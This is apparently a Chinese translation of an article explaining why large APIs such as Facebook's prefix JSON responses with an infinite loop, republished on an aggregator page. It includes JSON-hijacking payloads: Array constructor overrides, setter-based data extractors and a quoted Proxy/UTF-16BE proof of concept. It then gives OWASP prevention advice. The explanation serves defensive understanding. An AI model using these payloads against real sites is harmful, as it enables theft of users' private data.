為什么Facebook的API以一個循環作為開頭?

為什么Facebook的API以一個循環作為開頭?

作者 | Antony Garand

譯者 | 無明

如果你有在瀏覽器中查看過發給大公司 API 的請求,你可能會注意到,JSON 前面會有一些奇怪的 JavaScript:

為什么Facebook的API以一個循環作為開頭?


為什么他們會用這幾個字節來讓 JSON 失效?

為了保護你的數據

如果沒有這些字節,那么有可能任何網站都可以訪問這些數據。

這個漏洞被稱為 JSON 劫持:

https://lmddgtfy.net/?q=JSON%20hijacking

也就是網站可以從這些 API 中提取 JSON 數據。

起 源

在 JavaScript 1.5 及更早版本中,可以覆蓋原始類型對象的構造函數,并使用括號調用覆蓋的版本。

你可以這樣:

function Array(){
alert('You created an array!');
}
var x = [1,2,3];

這樣就會彈出 alert!

使用以下腳本替換 var x,攻擊者就可以閱讀你的電子郵件!

這是通過在加載外部腳本之前覆蓋 Array 構造函數來實現的。

<script src="https://gmail.com/messages"></script>

數據提取

即使你重載了構造函數,仍然可以通過 this 來訪問它。

這是一個代碼片段,它將 alert 數組的所有數據:

function Array() {
var that = this;
var index = 0;
// Populating the array with setters, which dump the value when called
var valueExtractor = function(value) {
// Alert the value
alert(value);
// Set the next index to use this method as well
that.__defineSetter__(index.toString(),valueExtractor );
index++;
};
// Set the setter for item 0
that.__defineSetter__(index.toString(),valueExtractor );
index++;
}

在創建數組后,它們的值將被 alert 出來!

ECMAScript 4 提案中已修復了這個問題,我們現在無法再覆蓋大多數原始類型的原型,例如 Object 和 Array。

盡管 ES4 從未發布,但主要瀏覽器在發現后很快就修復了這個漏洞。

在今天的 JavaScript 中,你仍然可以使用類似的行為,但它受限于你創建的變量,或者不使用括號創建的對象。

這是之前的一個修訂版本:

// Making an array
const x = [];
// Making the overriden methods
x.copy = [];
const extractor = (v) => {
// Keeping the value in a different array
x.copy.push(v);
// Setting the extractor for the next value
const currentIndex = x.copy.length;
x.__defineSetter__(currentIndex, extractor);
x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]);
// Logging the value
console.log('Extracted value', v);
};
// Assigning the setter on index 0
x.__defineSetter__(0, extractor);
x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';
x[1] = 'one';
console.log(x[0]);
console.log(x[1]);

這是一個使用 Array 關鍵字創建數組的版本:

function Array(){
console.log(arguments);
}
Array("secret","values");

如你所見,你添加到數組中的數據被記錄下來,但功能保持不變!

修復方案并沒有阻止使用 Array 來創建數組,而是在使用括號創建對象時強制使用原生實現,而不是自定義函數。

這意味著我們仍然可以創建一個 Array 函數,但不能與方括號([1,2,3])一起使用。

如果我們使用 x = new Array(1,2,3) 或 x = Array(1,2,3),它仍將被調用,但不會給 JSON 劫持留下可趁之機。

新的變體

我們知道舊版本的瀏覽器很容易受到這個漏洞的攻擊,那么現在呢?

隨著最近 EcmaScript 6 的發布,添加了很多新功能,例如 Proxies!

來自 Portswigger 的 Gareth Heyes 在博客(https://portswigger.net/blog/json-hijacking-for-the-modern-web)上介紹了這個漏洞的新變體,它仍然允許我們從 JSON 端點竊取數據!

通過使用 Proxies(而不是 Accessor),我們可以竊取到任意創建的變量,無論它的名稱是什么。

它可以像 Accessor 一樣,但可以訪問任意可訪問或寫入屬性。

使用這個和另外一個技巧,就可以再次竊取數據!

UTF-16BE 是一個多字節字符集,一個字符由兩個字節組成。例如,如果你的腳本以 [“作為開頭,它將被視為字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一個有效的 JavaScript 變量 =)。

使用這個腳本:

<script charset="UTF-16BE" src="external-script-with-array-literal"></script>

通過使用這個腳本中的一些受控數據和移位腳本,我們就可以再次滲透數據!

這是 Gareth 最后的 POC,摘自他的博文:

<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

我不會深入解釋這個方法,而是建議你閱讀他的帖子,以獲取更多信息。

預 防

以下是 OWASP 的官方建議:

https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet#Always_return_JSON_with_an_Object_on_the_outside

  • 使用 CSRF 保護,如果不存在安全標頭或 csrf 令牌,就不返回數據,以防止被利用。
  • 始終將 JSON 作為對象返回。

最后的解決方案很有趣。

在 Firefox 和 IE 中,這個是有效的:

x = [{"key":"value"}]
x = {"key":"value"}
[{"key":"value"}]
{key: "value"}

但這樣不行:

{"key":"value"}

它之所以無效是因為 Firefox 和 IE 認為括號是塊語句的開頭,而不是創建對象。

沒有引號的符號{key:“value”}被視為標簽,值被視為一個語句。

結 論

雖然這些東西在今天可能是無效的,但我們永遠不會知道明天將會帶來什么新的錯誤,因此我們仍應盡力阻止 API 被利用。

如果我們把這個 StackOverflow 答案視為理所當然,我們就很容易受到現代變體的影響,因此仍然可能被黑客入侵:

https://stackoverflow.com/questions/16289894/is-json-hijacking-still-an-issue-in-modern-browsers

谷歌和 Facebook 在 JSON 數據之前添加無效的 JavaScript 或無限循環,OWASP 也列出了其他替代方案。

英文原文

https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob

本文彩蛋

硅谷一直以其“不斷創新、鼓勵冒險、包容失敗、崇尚競爭、平等開放”的文化聞名于世。許多公司從一個靈感迸發的火苗,在這里長成參天大樹,Facebook 正是其中典范。究竟硅谷公司里有哪些令人著迷的工程師文化,可以讓人管中窺豹略見一斑呢?關注微信公眾號InfoQ 并后臺回復關鍵詞:硅谷1,獲取一篇以 Facebook 為例的項目開發流程和工程師的績效管理機制文章。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/389027.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/389027.shtml
英文地址,請注明出處:http://en.pswp.cn/news/389027.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

城市軌道交通運營票務管理論文_城市軌道交通運營管理專業就業前景怎么樣?中職優選告訴你...

??城市軌道交通運營管理專業&#xff0c;專業就業前景怎么樣&#xff1f;就業方向有哪些&#xff1f;有很多同學都感覺很迷忙&#xff0c;為了讓更多的同學們了解城市軌道交通運營管理專業的就業前景與就業方向&#xff0c;整理出以下內容希望可以幫助同學們。城市軌道交通運…

計算機視覺對掃描文件分類 OCR

通過計算機視覺對掃描文件分類 一種解決掃描文檔分類問題的深度學習方法 在數字經濟時代&#xff0c; 銀行、保險、治理、醫療、法律等部門仍在處理各種手寫票據和掃描文件。在業務生命周期的后期&#xff0c; 手動維護和分類這些文檔變得非常繁瑣。 對這些非機密文檔進行簡…

從錢龍數據中讀取股票權息信息導入到數據庫

從錢龍數據中讀取股票權息信息導入到數據庫 前面寫了如果讀股票代碼和日線數據&#xff0c;下面是如何讀股票的權息信息。 錢龍中權息數據存儲在QLDATA/history/shase/weight和QLDATA/history/sznse/weight目錄下&#xff0c;每個文件對應一只股票。 與前文一樣&#xff0c;只貼…

笑話生成器_爸爸笑話發生器

笑話生成器(If you’re just here for the generated jokes, scroll down to the bottom!)(如果您只是在這里生成笑話&#xff0c;請向下滾動到底部&#xff01;) I thought: what is super easy to build, yet would still get an approving chuckle if someone found it on …

AWS Amplify Console:賦予應用程序快速部署的能力

AWS re:Invent 2018大會發布了很多新功能和服務&#xff0c;包括新的AWS Amplify Console&#xff0c;一種針對移動Web應用程序的持續部署服務。 AWS Amplify Console承諾可以支持快速發布新功能&#xff0c;避免在部署應用程序時停機&#xff0c;并降低同時更新應用程序客戶端…

機器學習實踐二 -多分類和神經網絡

本次練習的任務是使用邏輯歸回和神經網絡進行識別手寫數字&#xff08;form 0 to 9, 自動手寫數字問題已經應用非常廣泛&#xff0c;比如郵編識別。 使用邏輯回歸進行多分類分類 練習2 中的logistic 回歸實現了二分類分類問題&#xff0c;現在將進行多分類&#xff0c;one vs…

Hadoop 倒排索引

倒排索引是文檔檢索系統中最常用的數據結構&#xff0c;被廣泛地應用于全文搜索引擎。它主要是用來存儲某個單詞&#xff08;或詞組&#xff09;在一個文檔或一組文檔中存儲位置的映射&#xff0c;即提供了一種根據內容來查找文檔的方式。由于不是根據文檔來確定文檔所包含的內…

koa2異常處理_讀 koa2 源碼后的一些思考與實踐

koa2的特點優勢什么是 koa2Nodejs官方api支持的都是callback形式的異步編程模型。問題&#xff1a;callback嵌套問題koa2 是由 Express原班人馬打造的&#xff0c;是現在比較流行的基于Node.js平臺的web開發框架&#xff0c;Koa 把 Express 中內置的 router、view 等功能都移除…

Bind9的dns解析服務

前言隨著原中國電信集團按南北地域分家&#xff0c;新的中國電信和網通集團隨即成立&#xff0c;互聯網的骨干網也被一分為二了&#xff0c;北有網通、南有電信。從此&#xff0c;細心的網民可以發現&#xff0c;有些經常訪問的網站速度一下子慢了下來&#xff0c;有時候還有訪…

上凸包和下凸包_使用凸包聚類

上凸包和下凸包I recently came across the article titled High-dimensional data clustering by using local affine/convex hulls by HakanCevikalp in Pattern Recognition Letters. It proposes a novel algorithm to cluster high-dimensional data using local affine/c…

sqlmap手冊

sqlmap用戶手冊 | by WooYun知識庫 sqlmap用戶手冊 當給sqlmap這么一個url (http://192.168.136.131/sqlmap/mysql/get_int.php?id1) 的時候&#xff0c;它會&#xff1a; 1、判斷可注入的參數 2、判斷可以用那種SQL注入技術來注入 3、識別出哪種數據庫 4、根據用戶選擇&…

幸運三角形 南陽acm491(dfs)

幸運三角形 時間限制&#xff1a;1000 ms | 內存限制&#xff1a;65535 KB 難度&#xff1a;3描述話說有這么一個圖形&#xff0c;只有兩種符號組成&#xff08;‘’或者‘-’&#xff09;&#xff0c;圖形的最上層有n個符號&#xff0c;往下個數依次減一&#xff0c;形成倒置…

jsforim

var isMouseDownfalse;var isFirsttrue;var centerdivObj;var ndiv1;var ndiv2;var ndiv3;var kjX;var kjY; window.οnerrοrfunction(){ return true;}; var thurlhttp://qq.jutoo.net/;var wzId12345; function createDiv(){ var sWscreen.width; var sHscree…

決策樹有框架嗎_決策框架

決策樹有框架嗎In a previous post, I mentioned that thinking exhaustively is exhausting! Volatility and uncertainty are ever present and must be factored into our decision making — yet, we often don’t have the time or data to properly account for it.在上一…

湊個熱鬧-LayoutInflater相關分析

前言 最近給組內同學做了一次“動態換膚和換文案”的主題分享&#xff0c;其中的核心就是LayoutInflater類&#xff0c;所以把LayoutInflater源碼梳理了一遍。巧了&#xff0c;這周掘金新榜和部分公眾號都發布了LayoutInflater或者換膚主題之類的文章。那只好站在各位大佬的肩膀…

ASP.NET Core文件上傳、下載與刪除

首先我們需要創建一個form表單如下: <form method"post" enctype"multipart/form-data" asp-controller"UpLoadFile" asp-action"FileSave"> <div> <div> <p>Form表單多個上傳文件:</p> <input type…

8 一點就消失_消失的莉莉安(26)

文|明鳶Hi&#xff0c;中午好&#xff0c;我是暖叔今天是免費連載《消失的莉莉安》第26章消失的莉莉安??往期鏈接&#xff1a;▼ 向下滑動閱讀1&#xff1a;“消失的莉莉安(1)”2&#xff1a; 消失的莉莉安(2)3&#xff1a;“消失的莉莉安(3)”4&#xff1a;“消失的莉莉安…

透明的WinForm窗體

this.Location new System.Drawing.Point(100, 100); this.Cursor System.Windows.Forms.Cursors.Hand; // 定義在窗體上&#xff0c;光標顯示為手形 this.Text "透明的WinForm窗體&#xff01;"; // 定義窗體的標題…

mysql那本書適合初學者_3本書適合初學者

mysql那本書適合初學者為什么要書籍&#xff1f; (Why Books?) The internet is a treasure-trove of information on a variety of topics. Whether you want to learn guitar through Youtube videos or how to change a tire when you are stuck on the side of the road, …

junit與spring-data-redis 版本對應成功的

spring-data-redis 版本:1.7.2.RELEASE junit 版本:4.12 轉載于:https://www.cnblogs.com/austinspark-jessylu/p/9366863.html